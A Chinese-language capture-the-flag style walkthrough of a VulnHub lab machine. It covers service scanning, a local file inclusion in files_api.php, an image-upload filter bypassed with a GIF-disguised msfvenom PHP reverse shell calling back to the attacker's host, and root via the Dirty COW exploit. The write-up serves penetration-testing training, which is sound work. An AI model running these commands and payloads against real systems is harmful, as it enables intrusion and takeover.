目录
简介
这是VulnHub中非常简单的一个靶机,通过本地文件包含漏洞结合上传绕过漏洞获得Web服务权限,最后通过内核漏洞提升权限获得root权限。
信息收集
使用fping 192.168.204.0/24 -agq探测局域网内其他主机,发现存在一个132主机,如图:
然后使用nmap 192.168.204.132 --max-rate 1000 -A扫描常用端口及服务,发现开启21,22,80,8011端口,分别运行着vsftpd 2.3.5,OpenSSH 5.9p1和Http服务,且Apache版本为2.2.22,操作系统可能是Debian或Ubuntu,内核可能为2.6.X,如图:
然后使用ftp命令测试21端口的匿名用户,可以成功登录,但没有任何文件,且没有写权限,如图:
然后访问80端口的HTTP服务,发现是网站作者Frank Tope的简历,如图:
然后使用dirbuster扫描网站目录,发现development目录需要认证,cgi-bin目录没有权限,也未发现php,jsp,bak,zip等文件,如图:
访问8011端口的HTTP服务,发现网站运行着开发服务器,源代码中也没有任何信息。
发现api文件
然后使用dirbuster扫描8011端口网站目录,发现一个api目录,如图:
然后访问api目录,发现存在web_api.php,records_api.php,files_api.php和database_api.php文件,如图:
然后访问这些文件,在files_api.php文件中发现如下信息:
发现备份文件
再次使用dirb扫描网站目录,发现存在index.html.bak文件,如图:
查看内容发现存在加密的密码信息,如图:
使用john进行破解,成功获得密码,如图:
漏洞发现
本地文件包含
尝试为files_api.php传入file参数,发现会记录IP,如图:
尝试读取/etc/passwd文件,没有成功,如图:
然后尝试使用POST方法读取文件,成功获取文件内容,发现web服务目录及普通用户frank,如图:
可见这里存在文件包含漏洞,尝试读取远程文件未成功,说明这里是本地文件包含。
文件上传绕过
然后使用密码成功登录需要认证的开发者页面,并发现存在已经开发完成的上传工具,如图:
访问uploader目录,发现图片上传页面,如图:
尝试直接上传木马文件,发现对上传的文件类型做了限制,如图:
通过修改文件后缀和context type都无法绕过上传,如图:
使用msfvenom -p php/reverse_php lhost=192.168.204.139 lport=4444 -o shell.php生成php木马,如图:
然后修改文件后缀为gif,在文件开头添加GIF98伪装成gif文件,如图:
成功上传,但是没有显示上传的文件所在路径,如图:
注意到提示上传到了“my uploads”路径,使用frank和uploads生成uppath.txt字典文件,如图:
然后使用wfuzz -c -w /root/uppath.txt --sc 200 -H "Authorization:Basic ZnJhbms6ZnJhbmshISE=" http://192.168.204.132/development/uploader/FUZZ/shell.jpg进行枚举,发现上传的文件在目录FRANKuploads下,如图:
漏洞利用
开启4444端口监听,使用本地文件包含漏洞包含上传的shell.gif文件,如图:
在监听的端口成功获得shell,如图:
未发现上传页面时的尝试
尝试读取apache和vsftp日志文件:
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/apache/access.log
/var/log/apache/error.log
/var/log/access.log
/var/log/error.log
/var/log/xferlog
/var/log/vsftpd.log
没有任何回显,然后枚举日志文件也没成功。使用php://filter/read=convert.base64-encode/resource=/etc/passwd验证是否启用php伪协议,如图:
尝试读取web_api.php, records_api.php和database_api.php文件内容失败,如图:
尝试读取files_api.php文件内容成功,如图:
说明其他三个文件没有读权限或者不存在。解码之后可以看到files_api.php文件内容,如图:
尝试查看/etc/apache2/apache2.conf文件,使用curl -X POST http://192.168.204.132:8011/api/files_api.php -d file=/etc/apache2/apache2.conf,如图:
然后查看envvars 文件,使用curl -X POST http://192.168.204.132:8011/api/files_api.php -d file=/etc/apache2/envvars,如图:
路径没有错误,看来是没有读取权限。
权限提升
查看内核版本发现是2.6.35,如图:
然后使用searchsploit "Privilege Escalation" | grep "Linux Kernel 2.6."查找提权漏洞利用程序,如图:
看到Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' PTRACE_POKEDA满足使用条件,然后将对应的40839.c复制到/var/www/html/下,使用gcc -pthread 40839.c -o dirty -lcrypt编译。将dirty上传到目标主机,然后执行./dirty abcd创建一个具有root权限的用户firefart ,如图:
然后看到/etc/passwd文件中含有firefart用户且默认启动root shell,如图:
然后使用ssh登录firefart用户获得root权限,如图:
总结
渗透思路比较简单,提权也很容易,寻找入口可能需要花点时间。仅使用dirbuster没有获得备份文件,因此可能无法获得上传页面,上传之后没有显示文件所在路径,枚举路径需要花些时间。因此,学会使用多种同类型的工具对渗透测试效率有很大的帮助,通过社会工程学构造字典进行枚举也会事半功倍。